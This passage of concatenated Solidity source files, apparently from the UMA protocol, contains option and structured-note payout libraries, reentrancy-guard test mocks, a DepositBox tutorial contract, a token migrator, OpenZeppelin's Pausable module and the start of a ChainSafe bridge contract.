transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with // each token backed 1:1 by collateral currency. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return FixedPoint.fromUnscaledUint(1); } if (oraclePrice.isLessThan(strike)) { return FixedPoint.fromUnscaledUint(1); } else { // Token expires to be worth strike $ worth of collateral. // eg if ETHUSD is $500 and strike is $400, token is redeemable for 400/500 = 0.8 WETH. return strike.div(oraclePrice); } } /** * @notice Returns a transformed collateral requirement by applying the structured note payout structure. If the price * of the structured note is greater than the strike then the collateral requirement scales down accordingly. * @param oraclePrice price from the oracle to transform the collateral requirement. * @param collateralRequirement financial products collateral requirement to be scaled according to price and strike. * @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // If the price is less than the strike than the original collateral requirement is used. if (oraclePrice.isLessThan(strike)) { return collateralRequirement; } else { // If the price is more than the strike then the collateral requirement is scaled by the strike. For example // a strike of $400 and a CR of 1.2 would yield: // ETHUSD = $350, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2 // ETHUSD = $400, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2 // ETHUSD = $425, payout is 0.941 WETH (worth $400). CR is multiplied by 0.941. resulting CR = 1.1292 // ETHUSD = $500, payout is 0.8 WETH (worth $400). CR multiplied by 0.8. resulting CR = 0.96 return collateralRequirement.mul(strike.div(oraclePrice)); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title Pre-Expiration Identifier Transformation Financial Product Library * @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending * on when a price request is made. If the request is made before expiration then a transformation is made to the identifier * & if it is at or after expiration then the original identifier is returned. This library enables self referential * TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration. */ contract PreExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable { mapping(address => bytes32) financialProductTransformedIdentifiers; /** * @notice Enables the deployer of the library to set the transformed identifier for an associated financial product. * @param financialProduct address of the financial product. * @param transformedIdentifier the identifier for the financial product to be used if the contract is pre expiration. * @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A * transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct * must expose an expirationTimestamp method. */ function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier) public nonReentrant() { require(transformedIdentifier != "", "Cant set to empty transformation"); require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier; } /** * @notice Returns the transformed identifier associated with a given financial product address. * @param financialProduct address of the financial product. * @return transformed identifier for the associated financial product. */ function getTransformedIdentifierForFinancialProduct(address financialProduct) public view nonReentrantView() returns (bytes32) { return financialProductTransformedIdentifiers[financialProduct]; } /** * @notice Returns a transformed price identifier if the contract is pre-expiration and no transformation if post. * @param identifier input price identifier to be transformed. * @param requestTime timestamp the identifier is to be used at. * @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it. */ function transformPriceIdentifier(bytes32 identifier, uint256 requestTime) public view override nonReentrantView() returns (bytes32) { require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation"); // If the request time is before contract expiration then return the transformed identifier. Else, return the // original price identifier. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return financialProductTransformedIdentifiers[msg.sender]; } else { return identifier; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title Post-Expiration Identifier Transformation Financial Product Library * @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending * on when a price request is made. If the request is made at or after expiration then a transformation is made to the identifier * & if it is before expiration then the original identifier is returned. This library enables self referential * TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration. */ contract PostExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable { mapping(address => bytes32) financialProductTransformedIdentifiers; /** * @notice Enables the deployer of the library to set the transformed identifier for an associated financial product. * @param financialProduct address of the financial product. * @param transformedIdentifier the identifier for the financial product to be used if the contract is post expiration. * @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A * transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct * must expose an expirationTimestamp method. */ function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier) public nonReentrant() { require(transformedIdentifier != "", "Cant set to empty transformation"); require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier; } /** * @notice Returns the transformed identifier associated with a given financial product address. * @param financialProduct address of the financial product. * @return transformed identifier for the associated financial product. */ function getTransformedIdentifierForFinancialProduct(address financialProduct) public view nonReentrantView() returns (bytes32) { return financialProductTransformedIdentifiers[financialProduct]; } /** * @notice Returns a transformed price identifier if the contract is post-expiration and no transformation if pre. * @param identifier input price identifier to be transformed. * @param requestTime timestamp the identifier is to be used at. * @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it. */ function transformPriceIdentifier(bytes32 identifier, uint256 requestTime) public view override nonReentrantView() returns (bytes32) { require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation"); // If the request time is after contract expiration then return the transformed identifier. Else, return the // original price identifier. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return identifier; } else { return financialProductTransformedIdentifiers[msg.sender]; } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title KPI Options Financial Product Library * @notice Adds custom tranformation logic to modify the price and collateral requirement behavior of the expiring multi party contract. * If a price request is made pre-expiry, the price should always be set to 2 and the collateral requirement should be set to 1. * Post-expiry, the collateral requirement is left as 1 and the price is left unchanged. */ contract KpiOptionsFinancialProductLibrary is FinancialProductLibrary, Lockable { /** * @notice Returns a transformed price for pre-expiry price requests. * @param oraclePrice price from the oracle to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice the input oracle price with the price transformation logic applied to it. */ function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { // If price request is made before expiry, return 2. Thus we can keep the contract 100% collateralized with // each token backed 1:2 by collateral currency. Post-expiry, leave unchanged. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return FixedPoint.fromUnscaledUint(2); } else { return oraclePrice; } } /** * @notice Returns a transformed collateral requirement that is set to be equivalent to 2 tokens pre-expiry. * @param oraclePrice price from the oracle to transform the collateral requirement. * @param collateralRequirement financial products collateral requirement to be scaled to a flat rate. * @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { // Always return 1. return FixedPoint.fromUnscaledUint(1); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./FinancialProductLibrary.sol"; import "../../../common/implementation/Lockable.sol"; /** * @title CoveredCall Financial Product Library * @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The * contract holds say 1 WETH in collateral and pays out a portion of that, at expiry, if ETHUSD is above a set strike. If * ETHUSD is below that strike, the contract pays out 0. The fraction paid out if above the strike is defined by * (oraclePrice - strikePrice) / oraclePrice; * Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH. * If ETHUSD = $600 at expiry, the call is $200 in the money, and the contract pays out 0.333 WETH (worth $200). * If ETHUSD = $800 at expiry, the call is $400 in the money, and the contract pays out 0.5 WETH (worth $400). * If ETHUSD =< $400 at expiry, the call is out of the money, and the contract pays out 0 WETH. */ contract CoveredCallFinancialProductLibrary is FinancialProductLibrary, Lockable { mapping(address => FixedPoint.Unsigned) private financialProductStrikes; /** * @notice Enables any address to set the strike price for an associated financial product. * @param financialProduct address of the financial product. * @param strikePrice the strike price for the covered call to be applied to the financial product. * @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0. * c) A strike price can only be set once to prevent the deployer from changing the strike after the fact. * d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool. * e) financialProduct must expose an expirationTimestamp method. */ function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice) public nonReentrant() { require(strikePrice.isGreaterThan(0), "Cant set 0 strike"); require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set"); require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract"); financialProductStrikes[financialProduct] = strikePrice; } /** * @notice Returns the strike price associated with a given financial product address. * @param financialProduct address of the financial product. * @return strikePrice for the associated financial product. */ function getStrikeForFinancialProduct(address financialProduct) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return financialProductStrikes[financialProduct]; } /** * @notice Returns a transformed price by applying the call option payout structure. * @param oraclePrice price from the oracle to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice the input oracle price with the price transformation logic applied to it. */ function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with // each token backed 1:1 by collateral currency. if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) { return FixedPoint.fromUnscaledUint(1); } if (oraclePrice.isLessThanOrEqual(strike)) { return FixedPoint.fromUnscaledUint(0); } else { // Token expires to be worth the fraction of a collateral token that's in the money. // eg if ETHUSD is $500 and strike is $400, token is redeemable for 100/500 = 0.2 WETH (worth $100). // Note: oraclePrice cannot be 0 here because it would always satisfy the if above because 0 <= x is always // true. return (oraclePrice.sub(strike)).div(oraclePrice); } } /** * @notice Returns a transformed collateral requirement by applying the covered call payout structure. * @param oraclePrice price from the oracle to transform the collateral requirement. * @param collateralRequirement financial products collateral requirement to be scaled according to price and strike. * @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) { FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender]; require(strike.isGreaterThan(0), "Caller has no strike"); // Always return 1 because option must be collateralized by 1 token. return FixedPoint.fromUnscaledUint(1); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/Lockable.sol"; import "./ReentrancyAttack.sol"; // Tests reentrancy guards defined in Lockable.sol. // Extends https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyMock.sol. contract ReentrancyMock is Lockable { uint256 public counter; constructor() public { counter = 0; } function callback() external nonReentrant { _count(); } function countAndSend(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("callback()")); attacker.callSender(func); } function countAndCall(ReentrancyAttack attacker) external nonReentrant { _count(); bytes4 func = bytes4(keccak256("getCount()")); attacker.callSender(func); } function countLocalRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); countLocalRecursive(n - 1); } } function countThisRecursive(uint256 n) public nonReentrant { if (n > 0) { _count(); // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1)); require(success, "ReentrancyMock: failed call"); } } function countLocalCall() public nonReentrant { getCount(); } function countThisCall() public nonReentrant { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(abi.encodeWithSignature("getCount()")); require(success, "ReentrancyMock: failed call"); } function getCount() public view nonReentrantView returns (uint256) { return counter; } function _count() private { counter += 1; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; // Tests reentrancy guards defined in Lockable.sol. // Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyAttack.sol. contract ReentrancyAttack { function callSender(bytes4 data) public { // solhint-disable-next-line avoid-low-level-calls (bool success, ) = msg.sender.call(abi.encodeWithSelector(data)); require(success, "ReentrancyAttack: failed call"); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../common/FeePayer.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../oracle/interfaces/IdentifierWhitelistInterface.sol"; import "../../oracle/interfaces/OracleInterface.sol"; import "../../oracle/implementation/ContractCreator.sol"; /** * @title Token Deposit Box * @notice This is a minimal example of a financial template that depends on price requests from the DVM. * This contract should be thought of as a "Deposit Box" into which the user deposits some ERC20 collateral. * The main feature of this box is that the user can withdraw their ERC20 corresponding to a desired USD amount. * When the user wants to make a withdrawal, a price request is enqueued with the UMA DVM. * For simplicty, the user is constrained to have one outstanding withdrawal request at any given time. * Regular fees are charged on the collateral in the deposit box throughout the lifetime of the deposit box, * and final fees are charged on each price request. * * This example is intended to accompany a technical tutorial for how to integrate the DVM into a project. * The main feature this demo serves to showcase is how to build a financial product on-chain that "pulls" price * requests from the DVM on-demand, which is an implementation of the "priceless" oracle framework. * * The typical user flow would be: * - User sets up a deposit box for the (wETH - USD) price-identifier. The "collateral currency" in this deposit * box is therefore wETH. * The user can subsequently make withdrawal requests for USD-denominated amounts of wETH. * - User deposits 10 wETH into their deposit box. * - User later requests to withdraw $100 USD of wETH. * - DepositBox asks DVM for latest wETH/USD exchange rate. * - DVM resolves the exchange rate at: 1 wETH is worth 200 USD. * - DepositBox transfers 0.5 wETH to user. */ contract DepositBox is FeePayer, ContractCreator { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; // Represents a single caller's deposit box. All collateral is held by this contract. struct DepositBoxData { // Requested amount of collateral, denominated in quote asset of the price identifier. // Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then // this represents a withdrawal request for 100 USD worth of wETH. FixedPoint.Unsigned withdrawalRequestAmount; // Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`. uint256 requestPassTimestamp; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; } // Maps addresses to their deposit boxes. Each address can have only one position. mapping(address => DepositBoxData) private depositBoxes; // Unique identifier for DVM price feed ticker. bytes32 private priceIdentifier; // Similar to the rawCollateral in DepositBoxData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned private rawTotalDepositBoxCollateral; // This blocks every public state-modifying method until it flips to true, via the `initialize()` method. bool private initialized; /**************************************** * EVENTS * ****************************************/ event NewDepositBox(address indexed user); event EndedDepositBox(address indexed user); event Deposit(address indexed user, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp); event RequestWithdrawalExecuted( address indexed user, uint256 indexed collateralAmount, uint256 exchangeRate, uint256 requestPassTimestamp ); event RequestWithdrawalCanceled( address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp ); /**************************************** * MODIFIERS * ****************************************/ modifier noPendingWithdrawal(address user) { _depositBoxHasNoPendingWithdrawal(user); _; } modifier isInitialized() { _isInitialized(); _; } /**************************************** * PUBLIC FUNCTIONS * ****************************************/ /** * @notice Construct the DepositBox. * @param _collateralAddress ERC20 token to be deposited. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited. * The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20 * currency deposited into this account, and it is denominated in the "quote" asset on withdrawals. * An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, bytes32 _priceIdentifier, address _timerAddress ) public ContractCreator(_finderAddress) FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier"); priceIdentifier = _priceIdentifier; } /** * @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required * to make price requests in production environments. * @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM. * Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role * in order to register with the `Registry`. But, its address is not known until after deployment. */ function initialize() public nonReentrant() { initialized = true; _registerContract(new address[](0), address(this)); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box. * @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() { require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) { emit NewDepositBox(msg.sender); } // Increase the individual deposit box and global collateral balance by collateral amount. _incrementCollateralBalances(depositBoxData, collateralAmount); emit Deposit(msg.sender, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount` * from their position denominated in the quote asset of the price identifier, following a DVM price resolution. * @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time. * Only one withdrawal request can exist for the user. * @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw. */ function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount) public isInitialized() noPendingWithdrawal(msg.sender) nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount"); // Update the position object for the user. depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount; depositBoxData.requestPassTimestamp = getCurrentTime(); emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp); // Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee. FixedPoint.Unsigned memory finalFee = _computeFinalFees(); require( _getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee), "Cannot pay final fee" ); _payFinalFees(address(this), finalFee); // A price request is sent for the current timestamp. _requestOraclePrice(depositBoxData.requestPassTimestamp); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution), * withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function executeWithdrawal() external isInitialized() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require( depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(), "Invalid withdraw request" ); // Get the resolved price or revert. FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp); // Calculate denomated amount of collateral based on resolved exchange rate. // Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH. // Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH. FixedPoint.Unsigned memory denominatedAmountToWithdraw = depositBoxData.withdrawalRequestAmount.div(exchangeRate); // If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data. if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) { denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral); // Reset the position state as all the value has been removed after settlement. emit EndedDepositBox(msg.sender); } // Decrease the individual deposit box and global collateral balance. amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw); emit RequestWithdrawalExecuted( msg.sender, amountWithdrawn.rawValue, exchangeRate.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external isInitialized() nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal"); emit RequestWithdrawalCanceled( msg.sender, depositBoxData.withdrawalRequestAmount.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); } /** * @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but * because this is a minimal demo they will simply exit silently. */ function emergencyShutdown() external override isInitialized() nonReentrant() { return; } /** * @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently. */ function remargin() external override isInitialized() nonReentrant() { return; } /** * @notice Accessor method for a user's collateral. * @dev This is necessary because the struct returned by the depositBoxes() method shows * rawCollateral, which isn't a user-readable value. * @param user address whose collateral amount is retrieved. * @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal). */ function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral); } /** * @notice Accessor method for the total collateral stored within the entire contract. * @return the total fee-adjusted collateral amount in the contract (i.e. across all users). */ function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(priceIdentifier, requestedTime); } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(depositBoxData.rawCollateral, collateralAmount); return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(depositBoxData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount); } function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal { depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); depositBoxData.requestPassTimestamp = 0; } function _depositBoxHasNoPendingWithdrawal(address user) internal view { require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal"); } function _isInitialized() internal view { require(initialized, "Uninitialized contract"); } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { OracleInterface oracle = _getOracle(); require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime); // For simplicity we don't want to deal with negative prices. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from // which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the // contract. function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "./VotingToken.sol"; /** * @title Migration contract for VotingTokens. * @dev Handles migrating token holders from one token to the next. */ contract TokenMigrator { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ VotingToken public oldToken; ExpandedIERC20 public newToken; uint256 public snapshotId; FixedPoint.Unsigned public rate; mapping(address => bool) public hasMigrated; /** * @notice Construct the TokenMigrator contract. * @dev This function triggers the snapshot upon which all migrations will be based. * @param _rate the number of old tokens it takes to generate one new token. * @param _oldToken address of the token being migrated from. * @param _newToken address of the token being migrated to. */ constructor( FixedPoint.Unsigned memory _rate, address _oldToken, address _newToken ) public { // Prevents division by 0 in migrateTokens(). // Also it doesn’t make sense to have β€œ0 old tokens equate to 1 new token”. require(_rate.isGreaterThan(0), "Rate can't be 0"); rate = _rate; newToken = ExpandedIERC20(_newToken); oldToken = VotingToken(_oldToken); snapshotId = oldToken.snapshot(); } /** * @notice Migrates the tokenHolder's old tokens to new tokens. * @dev This function can only be called once per `tokenHolder`. Anyone can call this method * on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier. * @param tokenHolder address of the token holder to migrate. */ function migrateTokens(address tokenHolder) external { require(!hasMigrated[tokenHolder], "Already migrated tokens"); hasMigrated[tokenHolder] = true; FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId)); if (!oldBalance.isGreaterThan(0)) { return; } FixedPoint.Unsigned memory newBalance = oldBalance.div(rate); require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed"); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/ExpandedERC20.sol"; contract TokenSender { function transferERC20( address tokenAddress, address recipientAddress, uint256 amount ) public returns (bool) { IERC20 token = IERC20(tokenAddress); token.transfer(recipientAddress, amount); return true; } } pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./IDepositExecute.sol"; import "./IBridge.sol"; import "./IERCHandler.sol"; import "./IGenericHandler.sol"; /** @title Facilitates deposits, creation and votiing of deposit proposals, and deposit executions. @author ChainSafe Systems. */ contract Bridge is Pausable, AccessControl { using SafeMath for uint256; uint8 public _chainID; uint256 public _relayerThreshold; uint256 public _totalRelayers; uint256 public _totalProposals; uint256 public _fee; uint256 public _expiry; enum Vote { No, Yes } enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled } struct Proposal { bytes32 _resourceID; bytes32 _dataHash; address[] _yesVotes; address[] _noVotes; ProposalStatus _status; uint256 _proposedBlock; } // destinationChainID => number of deposits mapping(uint8 => uint64) public _depositCounts; // resourceID => handler address mapping(bytes32 => address) public _resourceIDToHandlerAddress; // depositNonce => destinationChainID => bytes mapping(uint64 => mapping(uint8 => bytes)) public _depositRecords; // 